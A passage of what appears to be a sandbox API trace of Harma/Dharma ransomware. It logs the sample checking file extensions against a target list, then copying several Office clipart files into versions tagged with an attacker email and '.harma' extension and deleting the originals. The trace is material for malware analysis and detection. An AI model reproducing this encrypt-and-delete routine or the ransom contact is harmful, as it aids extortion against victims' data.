[0151.251] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.251] lstrlenW (lpString=".pdf") returned 4 [0151.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.251] lstrlenW (lpString=".xls") returned 4 [0151.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.251] lstrlenW (lpString=".xlsx") returned 5 [0151.251] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.251] lstrlenW (lpString=".ppt") returned 4 [0151.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0151.251] lstrlenW (lpString=".zip") returned 4 [0151.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.251] lstrlenW (lpString=".rar") returned 4 [0151.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.251] lstrlenW (lpString=".bz2") returned 4 [0151.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.251] lstrlenW (lpString=".7z") returned 3 [0151.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0151.252] lstrlenW (lpString=".dbf") returned 4 [0151.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0151.252] lstrlenW (lpString=".1cd") returned 4 [0151.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0151.252] lstrlenW (lpString=".jpg") returned 4 [0151.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.252] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.252] lstrlenW (lpString="DD01178_.WMF") returned 12 [0151.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.252] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3796) returned 1 [0151.252] CloseHandle (hObject=0x384) returned 1 [0151.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x20 [0151.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.253] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.253] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0151.254] GetLastError () returned 0x0 [0151.254] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xed4, lpOverlapped=0x0) returned 1 [0151.255] WriteFile (in: hFile=0x328, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xee0, lpOverlapped=0x0) returned 1 [0151.256] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.256] WriteFile (in: hFile=0x328, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.262] SetEndOfFile (hFile=0x328) returned 1 [0151.263] CloseHandle (hObject=0x328) returned 1 [0151.263] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.263] SetEndOfFile (hFile=0x384) returned 1 [0151.268] CloseHandle (hObject=0x384) returned 1 [0151.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0151.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0151.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0151.269] lstrlenW (lpString=".doc") returned 4 [0151.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.269] lstrlenW (lpString=".docx") returned 5 [0151.269] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.270] lstrlenW (lpString=".pdf") returned 4 [0151.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.270] lstrlenW (lpString=".xls") returned 4 [0151.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.270] lstrlenW (lpString=".xlsx") returned 5 [0151.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.270] lstrlenW (lpString=".ppt") returned 4 [0151.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0151.270] lstrlenW (lpString=".zip") returned 4 [0151.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.270] lstrlenW (lpString=".rar") returned 4 [0151.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.270] lstrlenW (lpString=".bz2") returned 4 [0151.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.270] lstrlenW (lpString=".7z") returned 3 [0151.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0151.270] lstrlenW (lpString=".dbf") returned 4 [0151.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0151.270] lstrlenW (lpString=".1cd") returned 4 [0151.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0151.270] lstrlenW (lpString=".jpg") returned 4 [0151.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0151.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0151.270] lstrlenW (lpString=".doc") returned 4 [0151.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.270] lstrlenW (lpString=".docx") returned 5 [0151.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.271] lstrlenW (lpString=".pdf") returned 4 [0151.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.271] lstrlenW (lpString=".xls") returned 4 [0151.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.271] lstrlenW (lpString=".xlsx") returned 5 [0151.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.271] lstrlenW (lpString=".ppt") returned 4 [0151.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0151.271] lstrlenW (lpString=".zip") returned 4 [0151.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.271] lstrlenW (lpString=".rar") returned 4 [0151.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.271] lstrlenW (lpString=".bz2") returned 4 [0151.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.271] lstrlenW (lpString=".7z") returned 3 [0151.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0151.271] lstrlenW (lpString=".dbf") returned 4 [0151.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0151.271] lstrlenW (lpString=".1cd") returned 4 [0151.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0151.271] lstrlenW (lpString=".jpg") returned 4 [0151.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.271] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.271] lstrlenW (lpString="DD01179_.WMF") returned 12 [0151.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.619] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2024) returned 1 [0151.619] CloseHandle (hObject=0x384) returned 1 [0151.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x20 [0151.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.628] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.628] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0151.629] GetLastError () returned 0x0 [0151.629] ReadFile (in: hFile=0x348, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x7e8, lpOverlapped=0x0) returned 1 [0151.641] WriteFile (in: hFile=0x208, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0151.642] ReadFile (in: hFile=0x348, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.642] WriteFile (in: hFile=0x208, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.642] SetEndOfFile (hFile=0x208) returned 1 [0151.643] CloseHandle (hObject=0x208) returned 1 [0151.643] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.643] SetEndOfFile (hFile=0x348) returned 1 [0151.645] CloseHandle (hObject=0x348) returned 1 [0151.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0151.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0151.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0151.646] lstrlenW (lpString=".doc") returned 4 [0151.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.646] lstrlenW (lpString=".docx") returned 5 [0151.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.646] lstrlenW (lpString=".pdf") returned 4 [0151.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.646] lstrlenW (lpString=".xls") returned 4 [0151.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.646] lstrlenW (lpString=".xlsx") returned 5 [0151.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.646] lstrlenW (lpString=".ppt") returned 4 [0151.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0151.646] lstrlenW (lpString=".zip") returned 4 [0151.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.647] lstrlenW (lpString=".rar") returned 4 [0151.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.647] lstrlenW (lpString=".bz2") returned 4 [0151.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.647] lstrlenW (lpString=".7z") returned 3 [0151.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0151.647] lstrlenW (lpString=".dbf") returned 4 [0151.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0151.647] lstrlenW (lpString=".1cd") returned 4 [0151.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0151.647] lstrlenW (lpString=".jpg") returned 4 [0151.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0151.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0151.647] lstrlenW (lpString=".doc") returned 4 [0151.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.647] lstrlenW (lpString=".docx") returned 5 [0151.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.647] lstrlenW (lpString=".pdf") returned 4 [0151.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.647] lstrlenW (lpString=".xls") returned 4 [0151.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.647] lstrlenW (lpString=".xlsx") returned 5 [0151.647] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.647] lstrlenW (lpString=".ppt") returned 4 [0151.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0151.648] lstrlenW (lpString=".zip") returned 4 [0151.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.648] lstrlenW (lpString=".rar") returned 4 [0151.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.648] lstrlenW (lpString=".bz2") returned 4 [0151.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.648] lstrlenW (lpString=".7z") returned 3 [0151.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0151.648] lstrlenW (lpString=".dbf") returned 4 [0151.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0151.648] lstrlenW (lpString=".1cd") returned 4 [0151.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0151.648] lstrlenW (lpString=".jpg") returned 4 [0151.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.648] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.648] lstrlenW (lpString="DD01183_.WMF") returned 12 [0151.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.649] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2296) returned 1 [0151.649] CloseHandle (hObject=0x348) returned 1 [0151.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x20 [0151.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.651] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.651] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0151.655] GetLastError () returned 0x0 [0151.655] ReadFile (in: hFile=0x348, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x8f8, lpOverlapped=0x0) returned 1 [0151.689] WriteFile (in: hFile=0x208, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x900, lpOverlapped=0x0) returned 1 [0151.690] ReadFile (in: hFile=0x348, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.690] WriteFile (in: hFile=0x208, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.690] SetEndOfFile (hFile=0x208) returned 1 [0151.690] CloseHandle (hObject=0x208) returned 1 [0151.690] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.690] SetEndOfFile (hFile=0x348) returned 1 [0151.692] CloseHandle (hObject=0x348) returned 1 [0151.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0151.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0151.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0151.720] lstrlenW (lpString=".doc") returned 4 [0151.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.720] lstrlenW (lpString=".docx") returned 5 [0151.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.720] lstrlenW (lpString=".pdf") returned 4 [0151.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.720] lstrlenW (lpString=".xls") returned 4 [0151.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.720] lstrlenW (lpString=".xlsx") returned 5 [0151.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.721] lstrlenW (lpString=".ppt") returned 4 [0151.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0151.721] lstrlenW (lpString=".zip") returned 4 [0151.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.721] lstrlenW (lpString=".rar") returned 4 [0151.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.721] lstrlenW (lpString=".bz2") returned 4 [0151.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.721] lstrlenW (lpString=".7z") returned 3 [0151.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0151.721] lstrlenW (lpString=".dbf") returned 4 [0151.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0151.721] lstrlenW (lpString=".1cd") returned 4 [0151.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0151.721] lstrlenW (lpString=".jpg") returned 4 [0151.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0151.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0151.721] lstrlenW (lpString=".doc") returned 4 [0151.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.721] lstrlenW (lpString=".docx") returned 5 [0151.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.721] lstrlenW (lpString=".pdf") returned 4 [0151.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.721] lstrlenW (lpString=".xls") returned 4 [0151.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.722] lstrlenW (lpString=".xlsx") returned 5 [0151.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.722] lstrlenW (lpString=".ppt") returned 4 [0151.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0151.722] lstrlenW (lpString=".zip") returned 4 [0151.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") 